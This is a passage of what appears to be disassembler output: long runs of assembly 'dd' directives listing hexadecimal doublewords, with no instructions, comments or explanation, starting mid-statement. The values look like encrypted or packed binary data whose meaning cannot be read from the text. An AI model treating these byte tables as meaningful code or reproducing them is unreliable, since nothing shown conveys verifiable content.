8E87B9F5h dd 9CAE33Ah, 51C5FFCh, 4D80EE33h, 7FE92EB4h, 35539FE8h dd 582240A7h, 39142810h, 0F33E05D0h, 9089AE84h, 26D9C593h dd 6A9F2AEEh, 0C8080975h, 0CBBC05E1h, 2D4C18Dh, 7A42FA24h dd 0F5810013h, 0E23DC940h, 2DEA928Eh, 5106E3CCh, 0D4F4D54Bh dd 0E6D19FFBh, 0A140CD42h, 0E2BA5218h, 27AC2CCh, 3DAD22B9h dd 90810185h, 815D5BE9h, 208BC743h, 0C807151h, 1A44317Ah dd 0AA4989E9h, 6FF04E5Bh, 6D331DFFh, 0DD04BC0Fh, 0AB29C751h dd 0C4F7D160h, 0BE0C0BE1h, 28A0C6E9h, 0FE94C380h, 950ACB67h dd 5DC4DDD2h, 0E5407A2Ch, 25750413h, 5FFDA201h, 0E9C9CD31h dd 1DD9099Eh, 0B8F2CBCBh, 0D775B3F7h, 13561C9h, 2DABF745h dd 0EDF27ED1h, 0E9B09E58h, 5180E46Dh, 0FE953FB5h, 74F58002h dd 16C1EA08h, 89A26A82h, 16423489h, 88B080DDh, 95482D31h dd 0B9012D42h, 314B6A65h, 0BBE2D571h, 0C5CD0741h, 26B2B77Fh dd 0E1D2A572h, 293AC381h, 5E6C100h, 4E0B3290h, 0DCAF1E03h dd 945725E4h, 69E3FA18h, 56805D65h, 29352741h, 408BF248h dd 0C1185E08h, 222402E2h, 0DAF0308Ch, 0CC7D0B46h, 10EE3E4Bh dd 5A25083Ah, 3BD1025Ch, 5341046Fh, 0F5CBBBCFh, 47C1815Fh dd 0CC4E1A49h, 683C5552h, 802C593Ch, 31A430FCh, 0FFE80383h dd 5432AD05h, 11E25782h, 0F26524DDh, 0BFC816EBh, 97A0339h dd 204C8757h, 9F740C40h, 68AD1200h, 0A4A81F70h, 0FD822B93h dd 27CA36C0h, 107ED648h, 5B05ABB3h, 98113068h, 0BBD38296h dd 1E6A5705h, 65E6C443h, 0C1608A54h, 0E73E25C3h, 0E12E7B4Ah dd 35814D61h, 775035Fh, 0B76ECC30h, 0E393256Bh, 1D3A5B50h dd 1F60D9F4h, 1EF640Ch, 5465E563h, 0D4646C6Bh, 67277F94h dd 0EE0CB40Dh, 9C45899Ah, 498F36A0h, 0FD5B764Ah, 0B41495D7h dd 57939222h, 2218CB5Ah, 0F5D47611h, 82740268h, 6BA5E93Dh dd 0A4C8AAh, 3FF00F28h, 0EFAC381h, 7385F3Bh, 0BE019ACBh dd 0AEB80EFh, 9675F0E4h, 0E95505F2h, 0C11CD095h, 515703E1h dd 0DEE93A67h, 3E01C16h, 0BD38F2D1h, 91F06AE6h, 55E48B5Ah dd 706D49CCh, 2E30B44Ah, 0E28CF44Fh, 6822481Fh, 7629ABD2h dd 99485F2Dh, 70AD3407h, 0EAAAB2BAh, 0D66D295Dh, 9D6727EBh dd 0D435A69Ch, 301F4800h, 30C11A72h, 0CE5203E7h, 1176DF18h dd 0D0C70F2h, 1A47217Fh, 0FE8D0410h, 0C1F929FFh, 71E911A2h dd 28902399h, 0C09C753h, 5D060A54h, 7B97C360h, 0DA2C0D2Fh dd 0FE4BE601h, 1BCCC64Ch dd 0D895B7F7h, 17C304B8h, 986BF9A2h, 5B5C5DFCh, 0F9D9327Eh dd 0DB7AC3E5h, 0AD41D909h, 0EAB41682h, 1651E728h, 95EF8087h dd 0C757CF07h, 63C57159h, 0A24CAA0h, 8E8CE331h, 9EB67CDh dd 0BC23BBCEh, 21392F7Dh, 81915DBh, 5A3A52Bh, 498AE08h dd 6D8A01EBh, 295F4346h, 842ABFC3h, 8F565C76h, 0BECF2D4h dd 12215B13h, 4CAB0029h, 52FB884Eh, 9DB85007h, 5D12340h dd 3D1023Dh, 0C05DC56Bh, 357BE951h, 101A33EDh, 5C13D409h dd 31D6A9D2h, 2C336701h, 7B82489h, 4FF91F4Bh, 38B82AC2h dd 0D98B3289h, 8075C312h, 0AD7BB529h, 5073BF45h, 493BD14Bh dd 83723BD1h, 12DFB2FFh, 0AECAFE14h, 0FFC2BEC2h, 0CDB11E85h dd 0CE8BF2A3h, 0D4BEA1E0h, 0FC45CE27h, 0FBE9785Eh, 84789E4Ch dd 0F70631ECh, 0BAFE04DBh, 2D12B560h, 75FE4171h, 8360955h dd 85F1793h, 0E90B0747h, 55372912h, 0EE7DA862h, 0F80101D1h dd 31581033h, 3F1D6A57h, 0A299DE7Dh, 80A59238h, 0D2352E4Ah dd 0B80C3F60h, 8001C26Fh, 91254520h, 8622842h, 14000C34h dd 6D31BE56h, 56E7CE9h, 257885CEh, 87B6802Fh, 305C1B48h dd 0EF90657Eh, 2568D33Ch, 0D5F943DFh, 29C79889h, 0F2455E21h dd 0DAEBE179h, 560D2008h, 4D601498h, 6CD9F23Fh, 0BCF94ABEh dd 408B1702h, 45C13AC0h, 1EC20993h, 0D11CCF29h, 6C1C64Ah dd 0C6FA6068h, 4970BF94h, 48532502h, 0D71999E9h, 52A0EC98h dd 69C27DC0h, 7E6AC80Bh, 0A3EAF001h, 0B31C0208h, 5E1E963Ah dd 20AFE6D7h, 0F70BDE7Dh, 0FAD687D2h, 0B9FB68CBh, 6B9305E7h dd 6C538384h, 2A88371Ah, 38E0821Eh, 0F6FA4212h, 0A7F3935h dd 70A76802h, 4B446FC2h, 5159055Dh, 92F61E83h, 4FA07153h dd 0E34BCCCEh, 0E929827Dh, 7A77054h, 0A8042DB8h, 0EBB9404Eh dd 0AB98FF3Ch, 0C51F2060h, 0EF677F11h, 5392828Bh, 2AFED010h dd 9962413Dh, 5C2E0F46h, 0B2DA36Ah, 197BD968h, 36E45363h dd 2AAB0945h, 0CA6213E9h, 0C5C985D7h, 6CB45970h, 273E12E9h dd 2BCDEE01h, 92A5E63Fh, 5BACB453h, 5571EFA5h, 6FCC5042h dd 0F2664CB7h, 7FD9626h, 82A0B652h, 1FDEBEC6h, 1D26CE0Fh dd 0E016769Bh, 9F0F63E9h, 3CEF90E8h, 61DD3625h, 0F67A8EF2h dd 0F05CC5A6h, 60DED298h, 4FB3D83Dh, 5202DBF6h, 0E280FCB2h dd 0C0626296h, 0F25AD3FAh, 0C0220FCBh, 0CBFC08EBh, 0E6D228F5h dd 6CFAE910h, 0DAF712h, 69BFC2F1h, 7097C90Ch, 17A290C8h dd 9E64699h, 0A488F593h, 0A85E1308h, 0B851C9EFh, 0D571B51h dd 192D31FEh, 3B44570Bh, 0FF1A3277h, 6CD55862h, 0B2C5982Bh dd 9661BF51h, 23BAD452h, 0AE2F7F7Eh, 0BBA95977h, 6807E0D9h dd 0B70DD543h, 745B25Fh, 3AB131EBh, 6383D5Ch, 2F165D48h dd 2A040F0Ch, 0E6807A15h, 5F3835B3h, 1E36A6BEh, 44CC12FCh dd 87E70E09h, 8E18BC73h, 5E423578h, 0E352E9F4h, 0E724D322h dd 90BF814Fh, 4023B43Ch, 0B210DCAEh, 51E9270Dh, 1130A045h dd 0C35F6E0Ch, 0EA290319h, 827D73CAh, 0D4DA3A60h, 55793D5Bh dd 0B82EFD7Ah, 0DD3CA2B3h, 2B5FE7ECh, 0B5C9C15Dh, 0F81DAB2Dh dd 547C0F45h, 14A9796Fh, 8700495Dh, 99D8CDE0h, 30843C9Bh dd 8042236Fh, 3E2C112h, 0DD97097h, 6A73E951h, 0DBF12F2Ah dd 9F40E3FDh, 3234B3F3h, 0D50C4A74h, 16542E0h, 845F9B7h dd 4F138248h, 21C9A201h, 0EE950BCBh, 0DA25817Ch, 0C2580C54h dd 78A128D3h, 3AFC20F2h, 5278C3E0h, 2D04EA4Bh, 0F2AAE689h dd 26118BDFh, 20113345h, 0B805A9C6h, 35FD2B25h, 2D3B80ABh dd 7E003AF4h, 19CA0564h, 4FE92E21h, 42F60BC7h, 6783F4F4h dd 20B3B44h, 6EB1AC96h, 29DF2933h, 378BDD38h, 833D15D7h dd 7FF7815Ch, 6A1227EBh, 849F362h, 0B2CC501h, 0BC8D921h dd 7140B068h, 81164BE9h, 0DC12B654h, 6FB1203Dh, 9118E007h dd 56D1059Fh, 6BDAFD0Eh, 4E88988h, 28AADB49h, 0CEF85D91h dd 0C1010391h, 32040980h, 2FD4BC41h, 0C1EBD255h, 0F01368AEh dd 0F6957324h, 0EAF55251h, 0A061827Ah, 0F94EFD54h, 0E9C2310Eh dd 0AC823AEDh, 1605062Dh, 8C57D468h, 5902160Eh, 96E95C34h dd 85B80009h, 0FF32FADEh, 0D814CC01h, 0F05E4A4Fh, 0FD192ADBh dd 0E432F5BDh, 0BF57C007h, 1CE2142Dh, 0E340C2F8h, 99FBBD5Fh dd 0AD16CE02h, 36EF801Ch, 32E352E9h, 5D64D329h, 51695E76h dd 6FD82D6Dh, 5803669Ah, 1056B72Dh, 5D8F134h, 82210745h dd 272A2DE7h, 232E83A3h, 69E40987h, 3832F613h, 78A87B04h dd 29A9680Eh, 0BFC1F61Bh, 12E86638h, 0ECB2D633h, 4CAA2A78h dd 46C89DD7h, 0C7E08CBFh, 54160FBCh, 0BEFD80Bh, 29ED687Ah dd 0A87197F0h, 99ED5D16h, 46EA6889h, 0CD52E44Eh, 0E2E06B08h dd 0F0FEE9E9h, 5F25CF6Ch, 68D8B0FDh, 0BC014F03h, 10E2C5CEh dd 12F409D7h, 7E30B3BFh, 281C3665h, 0B6152EB2h, 0AB848362h dd 1A0B15EAh, 0F932424Bh, 0F35264BEh, 71B524B4h, 2DFEE008h dd 52CBECFCh, 544990h, 0A8DE5727h, 0D7FF8FE2h, 3625DF6Eh dd 81DAD333h, 68C8B70Fh, 8851D605h, 28080B88h, 59C96806h dd 805116DBh, 0EC7CC234h, 0DDF1105Bh, 0E2AA0704h, 3DE9E5B8h dd 2467D4B1h, 0BE13E3F6h, 0A906E040h, 517C61Dh, 0B757C5C3h dd 0EA42843Eh, 438223h, 0BCFC451Ch, 0E794E932h, 685C32C3h dd 0FBDF5841h, 0AC4ED549h, 245587ABh, 0A15A6E3Fh, 1F685150h dd 2D6AC0h, 69E6B859h, 70E99A88h, 3ED1E14Bh, 5D031F60h dd 882DD37Fh, 49015CB6h, 9734ED5Dh, 8F78287h, 3CB073F0h dd 74AA02D3h, 0DE30BF67h, 56956859h, 3611D24Dh, 0D7AA101Eh dd 38145E27h, 78D10997h, 41BA045Ch, 0E407E828h, 0C349129Dh dd 82683821h, 8B4C676Eh, 4C965D3Ch, 0AE07E910h, 0B1F73131h dd 16E63D22h, 0D4917423h, 6800D6E7h, 3DC4337Dh, 9E8C32C6h dd 0A82BF3F6h, 54511223h, 304F76CAh, 6AE9559Ch, 77012827h dd 0D3DD1A2h, 93EA2CC8h, 14A93917h, 0F5000C13h, 0BA2313C2h dd 25E91A26h, 4D502929h, 0AD63CD04h, 98AA5919h, 5540DEDBh dd 9799A091h, 6ED9219h, 0C68059EEh, 984B18E2h, 0F8E7D685h dd 92F0FA2Fh, 7EC095B4h, 13B631DAh, 5259F5E9h, 19F9F87Eh dd 54102158h, 0E5C2F9D7h, 0B3B08C6Eh, 0ED68610Bh, 883A1828h dd 0A1ECE4DDh, 75792785h, 0F8968048h, 0AD2A465h, 56A85D02h dd 96D04B4Dh, 3918649h, 2882F680h, 4434D1F1h, 0F205FD36h dd 0C15B5574h, 3C62CEh, 0E5610B9h, 0E1815714h, 33404Eh dd 6AEBC90Ch, 70956423h, 176D4AD2h, 11BAC27h, 5D7C77EFh dd 0B26E893Fh, 0C98E106Ah, 78105B3Bh, 0D8685FB6h, 417341B8h dd 7FF4FA32h, 0F0817132h, 0C92B912Eh, 0A599C7DDh, 5107E55Bh dd 0A2A3A6B9h, 1DD0767Ch, 8F4F7F20h, 85455DF1h, 0CBBED55h dd 0E8BFEBC2h, 1364087h, 938BDA4Bh, 0FAFA934Bh, 3FF1694h dd 0E31BF3EDh, 25D4EA9Dh, 8064C4EBh, 6E3A4962h, 0CB4C3C79h dd 82084151h, 0BA14C10Ch, 620E7925h, 4D0A21F0h, 65A02EE5h dd 5ED67731h, 0ABF2C41Ah, 0A0EC62CDh, 0C33DB610h, 0EB303C9h dd 6B2D26F1h, 2E753229h, 0D3332120h, 0D6700D61h, 40F67E61h dd 0EE3233D4h, 2AC23126h, 63DBCB41h, 0A4257A4Dh, 0E4C6698Ch dd 0F612B0CCh, 7B5BAA9h, 3D512CBEh, 490AA734h, 0C510CBA9h dd 90D9092Bh, 0F9D658D8h, 685082A0h, 8DA54293h, 535F0B7h dd 0E9611493h, 753F16F9h, 0B1CCBA68h, 0F1A82E8h, 62BC1857h dd 99014F1Dh, 2E5A216Fh dd 69626CDDh, 0C951B72Fh, 2EE411A5h, 79B62Ch, 0C2FEE5B2h dd 51B0F280h, 1031B54Ch, 5D000DECh, 58B1B850h, 0F09F62B2h dd 0EB087733h, 6849D6D6h, 0F9762D11h, 0B4C3245Ah, 0D0F71D90h dd 20709D96h, 5233B500h, 0D5BB533Ch, 2E65F20Eh, 107CDE09h dd 2AA1588Fh, 5454B138h, 9213BDB6h, 7D0A535Fh, 0D5A5EE96h dd 0ADFE980h, 5A4E1551h, 7AA429ABh, 841055A6h, 83244EEFh dd 468691EEh, 3E073669h, 0C15840B0h, 0B20F01AAh, 3A13E54h dd 8A30129Eh, 12F01EF1h, 9D7E8C0Ah, 0B728B1B4h, 6D152F0Fh dd 86556A7Bh, 12001025h, 4EF92714h, 0B9839E50h, 4BB23D93h dd 66627560h, 0E9118405h, 2F522CA3h, 0BA3821FEh, 0A58A6BE7h dd 4703D613h, 85E7CDC9h, 51FFD1B2h, 0AC213B5Ah, 0C0042684h dd 1725BDF7h, 52324A16h, 38045006h, 0AA669770h, 2BB358C9h dd 12514536h, 2B0DA12Ch, 5ED81FB9h, 75254402h, 48A4F84Dh dd 3810D708h, 34B21C52h, 0C559FC2Fh, 0E85F8251h, 5A6FF61h dd 0AECCC4FEh, 0B95AA0CEh, 0B4A8473h, 90D3888h, 438C3B39h dd 0B640955h, 48B68514h, 0E0B7C0FBh, 220A2507h, 0F765E779h dd 5D46EA25h, 0B0968F8Ch, 19683A0Bh, 4418F531h, 36690151h dd 0B807D48h, 686D1EA2h, 0D69610DEh, 0BB5700EAh, 667662FFh dd 2EE38104h, 0C1FA6A2Ch, 0D55FA932h, 31D4937Fh, 1750E9ACh dd 3D6004DCh, 0C4DE2918h, 0C4F5D1E8h, 2C4D2386h, 3F1C5554h dd 0E1924D38h, 4F39295Ch, 7270E90Ch, 5E3CF1DDh, 770C9657h dd 6D912590h, 290B3338h, 0BC05551Eh, 275F2D7Fh, 873912BEh dd 0D95119B9h, 3E0F886Fh, 0E1F541CFh, 0E2D03F69h, 5682FA60h dd 0D93B1727h, 7A160332h, 0A0FD57BCh, 0E91C5A43h, 9625E01Dh dd 49F7906Ch, 0EA136B18h, 0AE0BFF4Ch, 85E186C9h, 1EC772C5h dd 0C96E5B25h, 24A0C4B3h, 403E23A3h, 1C2DE6F4h, 9CAAD901h dd 51752CD9h, 4F8978DBh, 0E27A14A1h, 79B8CB23h, 1871A426h dd 9AEF4914h, 7FB87B16h, 4926E1Ah, 12AE5A08h, 702ABBE7h dd 0E5F9D6Bh, 78EE16B0h, 0E14BE92Ch, 38B85B81h, 8F7D09C2h dd 5818A9A6h, 1EBB1E8Bh, 15084ACh, 9774C3D3h, 0AD951940h dd 1F58435Ch, 66125E24h, 0C92117FFh, 0E91784B1h, 0DDEF8977h dd 1864ECC2h, 0D501B692h, 2B56F581h, 0DDE15BAFh, 3BC26AA2h dd 0AC64B753h, 0CAAE12B9h, 14680933h, 6147DC5Ah, 0F00B017Ch dd 645FD7E9h, 0AE4EEBB3h, 0AB2D0A03h, 0C139926Bh, 5501EAD2h dd 57270081h, 0BA68E338h, 0F81EBB2h, 2FDD295Dh, 14CC7364h dd 9DD56223h, 0C5557167h, 2C4626C8h, 0CB0106Dh, 0AE21B450h dd 75014E0Dh, 0E99A6056h, 69B2B728h, 62827F4h, 0AE2F9F7Dh dd 82755C51h, 3D8B76DEh, 3F5258E1h, 0A818F2B3h, 3EC1C958h dd 76D62B31h, 168979BFh, 0C57D922Ch, 3FB38939h, 0F6E99A01h dd 16C06AD9h, 0F2C090E1h, 0F111CB02h, 94C8D387h, 1217ADACh dd 0DBBC58C2h, 5347B05Ah, 73875600h, 0DD3F181h, 0C171587Eh dd 0D049DB0Bh, 5EB2F57h, 0E860F69Bh, 0B991917h, 6E2C160h dd 0D5165E80h, 3126153Ah, 0E9C1FFD7h, 1E7D19F1h, 0BF573C01h dd 0C1AE1602h, 3BFEFC47h, 0F7855D96h, 2882C037h, 32337478h dd 8EF61E22h, 0E34AB10Fh, 0D95207E1h, 57C2AFA6h, 1A1361D9h dd 5F588CACh, 8617ABB4h, 9421CD9h, 0F9C69B36h, 0AAC88468h dd 4FDEFC6Dh, 90BCE964h, 787BC91Eh, 685016F1h, 0DF2EE42Fh dd 0F6254794h, 75FA5BECh, 0F06E57CAh, 719FEF71h, 98594926h dd 74575189h, 4A216383h, 0DE053C02h, 0D3094C4Bh, 0E3FC2775h dd 69FEEE17h, 0C4490424h, 0C127AB63h, 0DCA05C84h, 0A4DF4989h dd 20F83185h, 618E6849h, 0E36269B4h, 75805C6h, 93ADC11h dd 0A501C57Fh, 7202AF73h, 0E1317177h, 3AFFF2Eh, 0C0CC1563h dd 0FB054BD0h, 6A0F5B73h, 22F610Fh, 0E1B725FCh, 9E21188h dd 8B7A827Fh, 0EBCB7C76h, 83099974h, 363973EDh, 340F69Bh dd 0BD82BD58h, 0EE5F2CC4h, 965EF634h, 0E08A1788h, 7C4088E3h dd 0F7D9FC5Bh, 91D6396Dh, 26DF5EA4h, 7C357925h, 29AC13EAh dd 1ECC3479h, 9BB3AA82h, 55B53898h, 2EDC017h, 4B41B712h dd 0FC1A83B8h, 4A7AD1DBh, 0FF05E479h, 0C005EEC1h, 0B7BFA005h dd 0F701F904h, 0E6E1A2E9h, 5B5B2C3Ah, 6B4CB555h, 1282A4C1h dd 0B5FEC370h, 0A6BDB4F3h, 0E0A7662Dh, 0C11606CCh, 2F71ED5Bh dd 0E5DE20C4h, 0F677045Ah, 0FC5F74B2h, 22F78422h, 14A2EA01h dd 68C8EA93h, 0BC62E868h, 73EE60B7h, 1C980840h, 0AF0DEA6Eh dd 39BF126Ah, 0BD80F978h, 0A9CB820Bh, 0E042964Eh, 2C5EEFDEh dd 91F7DDCh, 1AF89EE9h, 5B0711B7h, 83604635h, 0C411E61h dd 6E0BCD78h, 0F9A9AFC5h, 5E686174h, 30832342h, 0EAC1881h dd 0EC0F4BCFh, 4D680A89h, 10486D3Ch, 4018DA2Ch, 0B0FB01B5h dd 4B5B50A1h, 4D899F7Fh, 0B1C3C4D4h, 9EF2541h, 3DBBF656h dd 271BC805h, 9FDB147Dh, 1A3B6C50h, 0C6B77015h, 1D29C92h dd 0B63A1DC7h, 0C2C06F3Bh, 2E8E06B7h, 8280F889h, 171279C4h dd 82A5D075h, 93C34508h, 135C92FDh, 0CA775BDAh, 0DB6F6E2Dh dd 0EB96BDC1h, 2041B5B5h, 7F409F7Bh, 0B6D19759h, 0AA685FE9h dd 2783E115h, 14DD5A3Eh, 1BB60FB8h, 0C2BCEF80h, 0D4E94EC7h dd 0BE0424D0h, 37907A8Fh, 1E31ADA1h, 0B044D21h, 6BCED5C0h dd 0E931087Ch, 4926823Ah, 282AF308h, 55FB0981h, 2DD0503h dd 7B1BC7EFh, 57F8252Bh, 96007195h, 0EB4AD0D2h, 3E5CAE31h dd 95127B3h, 986D5045h, 9A6C0CB4h, 8A664836h, 78947B13h dd 9F7D44BBh, 0C65E0E1Fh, 72F1BE49h, 0F186CDCDh, 0FA9F2E4Dh dd 0B6A0E93Fh, 555C399Fh, 9FFB89F8h, 50791B64h, 7C586F28h dd 9F31A00Bh, 7F02778Ch, 0F1775068h, 0F0A39358h, 0D3B758EBh dd 16D69043h, 62BECF01h, 7458F164h, 2931B905h, 0A8032E7h dd 350E2Bh, 56D8F764h, 0C11D2FBEh, 27E0745Eh, 0EA026263h dd 0A4D5CEFEh, 0B39187C1h, 0AA72FD30h, 0A88F207Bh, 68E1051Dh dd 805216DAh, 65D41745h, 6F409DA4h, 3FEB3599h, 444A3FCBh dd 12E5D169h, 79EA21D0h, 0F4DD5E98h, 0D48DC2Ch, 27EED6B9h dd 0B1B5D4BFh, 408F2F5Dh, 4096E917h, 724BBF1Dh, 313E9ED4h dd 29FB16F9h, 0D002668Dh, 52434980h, 0A492A22Fh, 3E5A5181h dd 36D1D159h, 0CC1DB104h, 0A12C68D1h, 0DBC4F70Dh, 0B2BFC6D4h dd 0F8D69FBBh, 685EBBC0h, 0E36C4B76h, 0D17316DFh, 9851AE28h dd 940997A7h, 669F4D14h, 5AE39DF0h, 0D768C398h, 9CC1E5Ah dd 7FC241DEh, 41527A0h, 0C1524C10h, 72D0E0EBh, 414E6E10h dd 39613B7Ah, 0AFFA45Fh, 0A3477D09h, 0D60B5529h, 9D7CBEDFh dd 820D6B47h, 757B1EECh, 0C69AE2F5h, 5573DCFh, 7B43B2F2h dd 85CF0157h, 0B9BEB7EEh, 45CEA4FDh, 201AD802h, 0C567C013h dd 7E2DFE48h, 82339029h, 953DCC08h, 483528C1h, 7B5979C2h dd 12258330h, 0ED80DCD7h, 95647FD5h, 0BA706550h, 0E90F5D06h dd 0A333C918h, 4F30F75Eh, 0B59E49B4h, 8EE96E02h, 8005B076h dd 81C3CCCAh, 0BA104A11h, 0CAEAD112h, 59E90920h, 0B79D14B0h dd 398B94F9h, 0FDFFA0DEh, 0DF25CC68h, 4820D339h, 0F501ED83h dd 0BB1E3D7h, 0D2AC92F8h, 0B108BC26h, 0A723EBAEh, 18205548h dd 293BE6Eh, 78F38953h, 0E9BBC489h, 292690B8h, 7B042DE8h dd 5D17FC65h, 0EF055BA6h, 0EE5A4735h, 58626B04h, 631EDED0h dd 0C62548D1h, 146E1C10h, 85515Fh, 390A27D6h, 282028B9h dd 0BC2E0E1h, 44A76769h dd 6708350Bh, 215F0B08h, 0DB9B9002h, 1D306801h, 0EE12AE07h dd 74C50040h, 0B7158931h, 26844B29h, 0B0680725h, 335448Bh dd 0EB804EB3h, 0F212888Fh, 1704EA28h, 7130206h, 922F0130h dd 6B555322h, 0C905D3A0h, 0C96F26C5h, 0DDEF2067h, 19BF10C3h dd 7564DA57h, 2E088FC1h, 0FC4B348Bh, 68AF4B9Dh, 42951CCEh dd 3A3075BFh, 34708468h, 0EAAA749Fh, 4D3E028Dh, 83F52C8Ch dd 0BFE01D8h, 0A1141116h, 0EEDE4D04h, 17CEFD40h, 0F6736A57h dd 0E3B14A20h, 0E2AC4E77h, 426856A1h, 515F5E06h, 98776BD1h dd 54FF6831h, 9754533Fh, 0C7654A79h, 720F6B47h, 30EEFD09h dd 454DE918h, 16F7C531h, 0A875BD6Ch, 4119AEFh, 0E01299BFh dd 924B8786h, 0A672FACDh, 0C85AE982h, 4B40944Ah, 15AB5401h dd 0E9C152F3h, 0BA625CCh, 27A740E0h, 81511F5Ch, 8B5E7CC3h dd 18CCAE30h, 1805A015h, 52090C75h, 9DD31E3h, 0A32278E8h dd 23BB80h, 53665ADBh, 0C3FECB88h, 0B5C26FE9h, 69AFE2E9h dd 0DAD4FF02h, 94C3977Dh, 8EA0064Fh, 95D670EBh, 0A4EF40F4h dd 0FA9F9FFh, 0B401DD00h, 1DBA524Eh, 6F790302h, 0C486E0E9h dd 0F8D15ED0h, 3B4009EFh, 0F67F806Dh, 141D2C23h, 0FAF229B4h dd 0B0F49D73h, 33D2BACh, 942A862Dh, 0F9D0FB2Bh, 0E7519D7Eh dd 4C5030B0h, 2D7332BDh, 0B6780B0Fh, 7EF88B7Fh, 72F2E1A0h dd 0DB892038h, 0C0D46EA2h, 0A0165700h, 0E9FA0117h, 0F6294227h dd 6851C081h, 8A93564Bh, 9E696300h, 0FE505708h, 0B65A1C60h dd 0EDE94A58h, 6BDEADFBh, 0D164485Ah, 0D77010Ah, 0E901EB83h dd 30945132h, 0E4D5C9EAh, 92BAC71Bh, 58D96E05h, 0D0AA2906h dd 7265A6C4h, 65813F4Eh, 0AD68DF50h, 0A031B893h, 80E57BE9h dd 4B703768h, 0C80FF695h, 0D3925A8Ah, 0C8692473h, 2D3975E0h dd 1494320Dh, 69467895h, 0F80B2172h, 961F9057h, 321C971Bh dd 0A220EC98h, 3358699Ch, 82116AD5h, 78CC449h, 7A3C25Dh dd 0F5F69048h, 2E19301Eh, 74286EC9h, 0AAB6629Ch, 3C55C0B0h dd 6A561D34h, 0BEB212AEh, 5E2CC64h, 0DAA5E982h, 407E21DFh dd 0A9ED5F6h, 12ED129Ch, 0C0EB0E04h, 0C282036Fh, 83F78851h dd 0A4CCFC3h, 555FFD7Dh, 0C05C2499h, 0B26A06BFh, 81E9481Ah dd 94D357E7h, 0DE7455C5h, 2DE95B21h, 0EEFE4AEBh, 5A5E6361h dd 963CF23Fh, 3535B3EDh, 6C2DFEE1h, 1F8926FDh, 4ADFE089h dd 0C754C030h, 46D41A27h, 605FE3F4h, 493DE9F4h, 0E701B0A9h dd 5C9432BCh, 7B6DE968h, 993C4331h, 0C4C47328h, 0EE2107CEh dd 57A8D0F5h, 50B1AB50h, 1D2D289Dh, 807B2821h, 90A37EFh dd 0D77EF710h, 3D1E3EE6h, 0DF1435C3h, 372137F0h, 45A73660h dd 69D8F6FCh, 9F616DCh, 0B787025h, 7FE75CA8h, 120CCB87h dd 0C27D7E46h, 6C33F13Eh, 45C3F54Eh, 0C95003EBh, 282BEAE1h dd 0BA401426h, 0F6321CB3h, 80D383DBh, 6AF189C3h, 0D2432DE6h dd 0F4DBDA0Bh, 897DE9EEh, 5D514C20h, 944CED6Bh, 16F50BB5h dd 8027631h, 252A6269h, 0F3C728A6h, 6488E905h, 0FA3CA88h dd 5E13E826h, 0BECD4F8Ch, 3481E76h, 63EF10A1h, 7E5C00Ah dd 0BFE81AFCh, 66E632C8h, 0A8F86582h, 69DA2486h, 0F900C9CDh dd 6DE92567h, 83E3E64Fh, 0AD1D3524h, 732872FEh, 42C96A63h dd 0BEB91758h, 0EC069D10h, 79927B5h, 2F5FEA5h, 623170FCh dd 7EA4E275h, 0D5FE25CDh, 0E1FA02F2h, 24700B98h, 0EC54C32h dd 32237C4Eh, 6457049Ah, 0F85CEC8Fh, 0CC70955Eh, 61CBFE97h dd 97123E68h, 0EB133B7h, 0B061E27Ah, 0E6ACEF80h, 0C0EC3BE7h dd 54B374Ch, 0FD96E876h, 91BAB46Eh, 22DCFE64h, 0C64F972Fh dd 3DFE330Ch, 0A2B33EA5h, 7A7621CBh, 62685D43h, 572BD887h dd 7BC2E227h, 937A7109h, 0EEEDB17Dh, 0F07E8EE2h, 0B730913Dh dd 2559C800h, 15045132h, 0E70CDE97h, 0D7B9D448h, 0E52D05FFh dd 131E38CCh, 0D1FEF428h, 6F5A0893h, 0C08241D4h, 55E91819h dd 5A2CFA61h, 62E1DB09h, 8B8676EAh, 6D5956F3h, 0D91ACC24h dd 7DC049Dh, 0E7ACB016h, 0C749AE95h, 66EFFA38h, 95A02406h dd 0D661E262h, 4B2D77FEh, 0E982CDE2h, 0A3FC1A94h, 0FDFDC462h dd 0C0F6AE4Eh, 0FB25E2B6h, 0ED269DEh, 55DBE528h, 45A7EA25h dd 52BF3EC5h, 0B2DF8513h, 0BD55A0D4h, 22323E5Dh, 0F8A045B5h dd 74365EDEh, 545497DCh, 7B8C05Ah, 460B3127h, 8A2E650Ch dd 87DA014Eh, 0E9120820h, 0F1450A75h, 5A740EC3h, 25533188h dd 5C7B011Ch, 9DB9D82Fh, 0B9F819E0h, 9511B180h, 0C020D322h dd 0E164D08Eh, 68DFC108h, 6CBB2985h, 690F7B56h, 165D0A4Eh dd 687EC22Ch, 94634159h, 0D6BD8E5Fh, 1122CFA4h, 0BA4FBD4Fh dd 2A732701h, 0F06E2E51h, 0D2621B4Eh, 0E0C68020h, 9D18E63Dh dd 0CC9E4F0h, 7DE786A3h, 9CEB2823h, 0D9BC25E2h, 0A0C008DCh dd 270CFA7Bh, 0BA5FDDF7h, 8586D762h, 0A8C1259Dh, 1C221B0Ah dd 3766C0A9h, 0C363118h, 44F16115h, 5CDDD29Bh, 7DA647Fh dd 487944D0h, 0ACDEA983h, 600D7C02h, 93E0C146h, 5BA6EE10h dd 0EF6CA42Eh, 0F288BA42h, 0EB8103B9h, 0F061FCAh, 1B9C0C01h dd 33FF6A3Dh, 137AE678h, 0E245B228h, 729ABEh, 0E9F9010Fh dd 5BB06161h, 2E5F5BD8h, 2D7F05B3h, 24C6937Ah, 7CC5B15Bh dd 9B4CBEBh, 66194368h, 59730939h, 87F72870h, 2D800C29h dd 0B307ACE9h, 0C5830B37h, 0F76594FCh, 6A549E0Eh, 5F96D563h dd 3E2FBCB3h, 6295FC87h, 0F3DA0F4Dh, 7D44EC0Eh, 3B03D650h dd 4104F13h, 9F1EBB18h, 8C76912Ah, 0C180011Bh, 76CE8660h dd 16EE2E59h, 0EB5123Ah, 0F30D5414h, 0E851D510h, 502566B1h dd 70A370B0h, 0BE5FA477h, 0ECAC0C3Ch, 9D08C58Bh, 30E9B29h dd 944F717Eh, 90E2BDCDh, 5BE90CB8h, 0E2DCCFDh, 7109633Fh dd 147C72AEh, 5825CE2Ch, 0B6C10451h, 9C876691h, 63EE30AFh dd 2E052C59h, 0C65E9F0h, 842DB10Fh, 0C2AEA703h, 7840509h dd 0E962A45Fh, 2CD3897Eh, 0C1D521EEh, 0EDF805D4h, 0B552889Eh dd 1441F220h, 0D7831EE8h, 0E247AC0Ah, 0E4A1AEDh, 0A75B6F7Dh dd 0CC66B0DFh, 75B4300Ch, 0E60EB18h, 5DE96F09h, 44EBA41Dh dd 9B256301h, 6BA0F50Ah, 50477909h, 6830E712h, 85634EE8h dd 